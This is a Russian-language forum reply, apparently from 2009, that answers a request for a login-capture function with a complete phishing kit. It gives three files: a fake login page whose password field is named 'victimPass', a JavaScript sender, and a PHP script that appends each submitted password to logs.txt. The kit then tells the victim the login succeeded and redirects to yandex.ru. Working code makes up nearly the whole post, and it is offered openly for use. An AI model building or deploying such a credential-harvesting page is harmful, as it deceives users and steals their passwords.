Показать сообщение отдельно

  #6  
Старый 22.07.2009, 17:39
n0reply
Новичок
Регистрация: 31.03.2009
Сообщений: 14
С нами: 9006942

Репутация: 6
По умолчанию

Цитата:
Сообщение от 043nKRuT0y  
Приветствую !
bla bla bla....
При нажатие на кнопку будет вызываться функция login(); Так вот - приведите пример функции чтобы значения этих двух полей постоянно дозаписывались в файл ! И сразу после записи переадресовывать на страницу скажем main.php !

Заранее спс !
Пример будет из нескольких файлов, и понадобиться еще серверный скриптовый язык... Для примера - php.

login.html:
PHP код:
<html>
<
head>
<
script language="javascript" type="text/javascript" src="ajaxget.js"></script>
</
head>

<
body>
 <
form name=fakeLogin onsubmit="return logAccount();">
  <
input type=text name=victimPass />
  <
input type=submit />
 </
form>
<
p><span id="loginspan"></span></p>
</
body>
</
html
ajaxget.js:
PHP код:
 var http_request false;
   function 
makeRequest(urlparameters) {
      
http_request false;
      if (
window.XMLHttpRequest) { // Mozilla, Safari,...
         
http_request = new XMLHttpRequest();
         if (
http_request.overrideMimeType) {
             
// set type accordingly to anticipated content type
            //http_request.overrideMimeType('text/xml');
            
http_request.overrideMimeType('text/html');
         }
      } else if (
window.ActiveXObject) { // IE
         
try {
            
http_request = new ActiveXObject("Msxml2.XMLHTTP");
         } catch (
e) {
            try {
               
http_request = new ActiveXObject("Microsoft.XMLHTTP");
            } catch (
e) {}
         }
      }
      if (!
http_request) {
         
alert('Cannot create XMLHTTP instance');
         return 
false;
      }
      
http_request.onreadystatechange alertContents;
      
http_request.open('GET'url parameterstrue);
      
http_request.send(null);
   }

   function 
alertContents() {
      if (
http_request.readyState == 4) {
         if (
http_request.status == 200) {
            
//alert(http_request.responseText);
            
result http_request.responseText;
            
document.getElementById('loginspan').innerHTML result;
            
document.location 'http://yandex.ru/';
         } else {
            
alert('There was a problem with the request.');
         }
      }
   }

function 
logAccount() {
    var 
document.forms['fakeLogin'];
    
makeRequest('fake.php','?password='+encodeURI(f.victimPass.value));
    return 
false;
    } 
fake.php:
PHP код:
<?php

if(isset($_GET['password'])){
    
$password$_GET['password'];
    if (
$fp fopen("logs.txt","a")) {
        
fputs($fp,$password."\n");
    }
    echo 
'good password, welcome';
    } else {
        echo 
'bad password';
        }

?>
Принцип такой, заходим на login.html, вводим пароль, нам говорят что мы успешно вошли и нас перекидывает на yandex.ru. При этом пароль сохраняется на сервере в файле logs.txt.
 
Ответить с цитированием